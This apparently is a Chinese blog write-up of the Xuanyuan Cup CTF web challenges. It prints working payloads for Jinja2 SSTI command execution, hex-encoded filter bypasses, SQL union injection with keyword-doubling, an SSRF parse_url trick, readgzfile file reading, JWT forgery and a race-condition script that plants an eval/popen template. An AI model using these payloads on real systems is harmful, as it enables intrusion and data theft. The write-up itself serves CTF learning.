轩辕杯web复现

借鉴大佬的WP进行的复现:https://www.yuque.com/lrving-idamg/ewng72/fgbuc2b4gie52iy0?singleDoc#ezweb1

ezflask

看题目就知道是flask写的,大概率是SSTI

1
{{6*6}}

image-20250522130922771

测试发现是SSTI,GET传参name,使用bp爆出过滤掉的字符如下

image-20250522131803520

过滤了点.:可以使用中括号绕过

过滤了popen:可以进行十六进制编码绕过,后面发现cat flag也被过滤了,同样也是进行编码绕过

使用脚本找到可用的类,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://27.25.151.26:56881/?name='
for i in range(500):
param = f"()['__class__']['__base__']['__subclasses__']()[{i}]"
try:
fin_url = url + "{{" + param + "}}"
#print(fin_url)
response = requests.get(fin_url)
if response.status_code == 200:
if 'os._wrap_close' in response.text:
print(i)
except:
pass

图片.png

目标paylaod

1
{{ ()['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('cat /flag')['read']() }}

最终payload为

1
{{ ()['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')['read']() }}

image-20250522131944293

ezjs

游戏题就看js代码,可以在main.js中看到关于获取flag的函数

image-20250522132213742

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (scoreNow === 100000000000) {
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'score=' + scoreNow
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
})
.catch(error => {
console.error('错误:', error);
});
}

要满足分数达到100000000000,就会向getflag.php发送POST请求获取flag,所以可以直接在控制台输入if函数中请求的代码,将其中的scoreNow替换成100000000000,即可获取flag

1
2
3
4
5
6
7
8
9
10
11
fetch('getflag.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'score=' + 100000000000
})
.then(response => response.text())
.then(data => {
alert("恭喜你!flag是:" + data);
})

image-20250522133239388

也可以使用bp抓包发送POST请求

image-20250522133525528

ezrce

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 <?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);

$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);

if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>

GET传参num,要求为数字并且大于1234,直接1235

POST传参newstar,其中new的内容会经过waf函数的检查,最后这两个参数会当作参数传给call_user_func()函数,且本函数无回显

看大佬的WP才知道readgzfile这个函数,长见识了

newreadgzfilestar为读取的文件路径

1
2
3
?num=1235

new=readgzfile&star=/flag

image-20250522144831744

ezsql1.0

SQL注入,用bp爆出以下waf

image-20250522152527669

空格过滤可以使用/**/绕过,字符串过滤可以进行双写绕过,这里是数字型注入

常规的联合注入

1
-1/**/union/**/seselectlect/**/1,2,database()#

image-20250522153013036

1
-1/**/union/**/selselectect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

image-20250522153135337

1
-1/**/union/**/selselectect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

image-20250522153507672

1
-1/**/union/**/selselectect/**/1,2,group_concat(id,data)/**/from/**/flag#

image-20250522153707846

不过这是个假的flag,flag不在当前数据库,就去看看其他数据库

1
-1/**/union/**/selselectect/**/1,2,group_concat(schema_name)/**/from/**/information_schema.schemata#

image-20250522153900673

可以看到还有一个xuanyuanCTF数据库,重新再来一遍联合注入

1
-1/**/union/**/selselectect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='xuanyuanCTF'#

image-20250522154418474

1
-1/**/union/**/selselectect/**/*/**/from/**/xuanyuanCTF.info#

image-20250522154547413

最后一个base64解码即可

image-20250522154614534

1
flag{欢迎来到轩辕杯}

ezssrf1.0

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

if ($url == null)
die("Try to add ?url=xxxx.");

$x = parse_url($url);

if (!$x)
die("(;_;)");

if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)";

GET传参url,要求满足hostnullschemehttp,就是只能使用http协议请求,明显的SSRF

因为要满足hostnull,所以正常的访问是不可以的

1
?url=http://127.0.0.1/

image-20250522160121255

注意代码中使用parse_url函数对输入的IP(如:http://127.0.0.1)进行解析,会将`host`解析为`127.0.0.1`,`scheme`为`http`

当只使用一个斜线/时,由于缺少 //parse_url() 会将整个路径视为 path,而非 host,所以可以构造以下paylaod

1
?url=http:/127.0.0.1/flag

image-20250522160201137

得到提示flag在FFFFF11111AAAAAggggg.php文件中

1
?url=http:/127.0.0.1/FFFFF11111AAAAAggggg.php

image-20250522160254887

还有个非预期吧,直接用dirsearch扫描目录可以扫出/flag

图片.png

然后再浏览器里直接访问这个路由会下载得到flag文件

图片.png

访问/FFFFF11111AAAAAggggg.php获得flag

图片.png

ez_web1

先看源码,会得到个fly233用户

image-20250522161256728

用bp进行弱密码爆破,得到密码是123456789

image-20250522161417248

image-20250522161435901

然后会来到下面这里

image-20250522161515188

访问上面三个会进入/read路由,会得到下面这些,是提示JWT,条件竞争

image-20250522161856199

image-20250522161908486

image-20250522161918496

并且存在POST参数book_path

image-20250522161602746

测试后发现可以进行任意文件读取

image-20250522161655918

还有一个上传图书的按钮,访问是上传文件

image-20250522162304100

不过需要管理员权限,这里的cookie里是JWT

image-20250522162427166

根据文件内容,想到利用JWT伪造成admin,密钥可以通过读取环境变量获取

image-20250522162125319

得到keyth1s_1s_k3y,在线网站解刚才上传文件时候的cookie

image-20250522162816790

利用key进行构造

image-20250522162859433

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U

再去上传文件,发现存在waf

image-20250522162928873

可以利用刚才任意读取文件漏洞读取源码,注意到响应里有python,可以猜到源码在/app/app.py

浏览器读取会立刻跳转,用bp抓包读

image-20250522163242873

得到源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt

app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}

def generate_token(username):
payload = {
'username': username
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token

def decode_token(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
return payload
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None

@app.route('/')
def index():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
username = payload['username']
books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
return render_template('./index.html', username=username, books=books)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('./login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

if username in users and users[username] == password:
token = generate_token(username)
response = make_response(jsonify({
'message': 'success'
}), 200)
response.set_cookie('token', token, httponly=True, path='/')
return response
else:
return {'message': 'Invalid username or password'}

@app.route('/read', methods=['POST'])
def read_book():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
book_path = request.form.get('book_path')
full_path = os.path.join(book_dir, book_path)
try:
with open(full_path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('reading.html', content=content)
except FileNotFoundError:
return "文件未找到", 404
except Exception as e:
return f"发生错误: {str(e)}", 500

@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
if request.method == 'GET':
return render_template('./upload.html')
if payload.get('username') != 'admin':
return """
<script>
alert('只有管理员才有添加图书的权限');
window.location.href = '/';
</script>
"""
file = request.files['file']
if file:
book_path = request.form.get('book_path')
file_path = os.path.join(book_path, file.filename)
if not os.path.exists(book_path):
return "文件夹不存在", 400
file.save(file_path)

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
pattern = r'[{}<>_%]'

if re.search(pattern, content):
os.remove(file_path)
return """
<script>
alert('SSTI,想的美!');
window.location.href = '/';
</script>
"""
return redirect(url_for('index'))
return "未选择文件", 400

因为存在wafpattern = r'[{}<>_%]'所以不能上传,还久就是如果前面想不到key在环境变量里,从得到的源码中就可以看出来了

注意到下面这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def read_book():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
book_path = request.form.get('book_path')
full_path = os.path.join(book_dir, book_path)
try:
with open(full_path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('reading.html', content=content)
except FileNotFoundError:
return "文件未找到", 404
except Exception as e:
return f"发生错误: {str(e)}", 500
1
2
3
with open(full_path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('reading.html', content=content)

这里发现可以打templates渲染,渲染reading.html,因为这里直接将文件内容作为变量传递给reading.html模板进行渲染,可以打SSTI执行代码命令,利用之前的任意文件读取漏洞读取渲染后的结果

既然是渲染模板,猜测路径是/app/templates/reading.html,先读取看看

image-20250522180513406

很明显前面的思路没错,但是waf中禁用了[{}<>_%]这些怎么办?题目原本的文章给出了提示:打条件竞争,即利用bp发包,一个不断的发文件上传的包,另一个不断发读取reading.html的包,从而可以绕过waf,获取到命令执行的结果

首先可以获取刚才读取的/app/templates/reading.html的源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>图书阅读</title>
<style>
body {
font-family: '楷体', serif;
background-color: #f5f5f5;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
min-height: 100vh;
margin: 0;
}

.page-title {
font-size: 36px;
font-weight: bold;
color: #333;
margin-bottom: 20px;
}

.book-content {
background-color: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0 0 20px rgba(0, 0, 0, 0.1);
max-width: 90%;
width: 90%;
line-height: 1.8;
font-size: 20px;
text-align: center;
}
</style>
</head>

<body>

<div class="book-content">
{{ content|safe }}
</div>
</body>

</html>

对其进行修改,主要就是修改{{ content|safe }}这个部分,改成以下内容

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()") }}{% endif %}{% endfor %}

解析

1
2
3
4
5
6
7
8
9
10
11
12
# 遍历所有的python类的子类
{% for c in [].__class__.__base__.__subclasses__() %}

# 查找特定类catch_warnings
{% if c.__name__=='catch_warnings' %}

# 初始化catch_warnings类,利用__globals__获取到__builtins__,进而可以获取到eval函数,从而可以执行代码、命令
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()") }}

# 闭合前面的if语句和for语句
{% endif %}
{% endfor %}

最终上传的内容为

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<body>
<div class="book-content">
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()") }}{% endif %}{% endfor %}
</div>
</body>
</html>

利用bp中的Intruder发包,可以在cookie中新增一个变量,从而可以添加payload进行发包,还有就是要注意修改JWT为之前构造成admin

image-20250522183553685

注意改写文件上传到的路径是/app/templates/

image-20250522182938639

然后是读取文件内容的发包,同样在cookie中添加一个新变量用于添加payload,实现读取/app/templates/reading.html

image-20250522183941916

最后就是两个同时开始发包,不过我的bp没爆出来,大概思路是这样的吧,有错误求指出!!!

直接写python脚本发包,一秒就出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import threading
import requests
import time

url_read = "http://27.25.151.26:30673/read"
url_upload = "http://27.25.151.26:30673/upload"
stop_event = threading.Event()

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9",
"Accept-Language": "zh-CN,zh;q=0.9",
"Referer": "http://27.25.151.26:30673/",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U"
}

read_data = {
"book_path": "/app/templates/reading.html"
}

def upload_file():
payload = '''
<!DOCTYPE html><html><body><div class="book-content">
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()") }}{% endif %}{% endfor %}
</div></body></html>
'''

files = {
"file": ("reading.html", payload, "image/jpeg"),
"book_path": (None, "/app/templates/")
}

while not stop_event.is_set():
try:
r = requests.post(url_upload, headers=headers, files=files, timeout=5)
print("[UPLOAD]", r.status_code)
except Exception as e:
print("[UPLOAD] 错误:", e)
time.sleep(0.1)

def send_read():
while not stop_event.is_set():
try:
r = requests.post(url_read, headers=headers, data=read_data, timeout=5)
print("[READ]", r.status_code)
if "flag" in r.text or "CTF" in r.text or "{" in r.text:
print("获取到 flag:\n", r.text)
stop_event.set()
except Exception as e:
print("[READ] 错误:", e)
time.sleep(0.1)

def attack_thread():
threading.Thread(target=upload_file).start()
threading.Thread(target=send_read).start()

if __name__ == "__main__":
for _ in range(100):
threading.Thread(target=attack_thread).start()

image-20250522192816048

签到

第一关:GET传参a,值为welcome,POST传参b,值为newcookie里的star值改为admin

img

第二关/l23evel4.php:GET传参password,值为2025a

img

第三关/levelThree.php:加Referer头,还有POST传参key

img

第四关/level444Four.php:请求方法换成HEAD,改User-Agent头为identity=n1c3

img

第五关/level4545Five.php:直接AI出密码

img

img

第六关/zzpufinish.php:发现catflag被禁了,直接用nl /*

img


轩辕杯web复现
https://yschen20.github.io/2025/05/22/轩辕杯web复现/
作者
Suzen
发布于
2025年5月22日
更新于
2025年6月10日
许可协议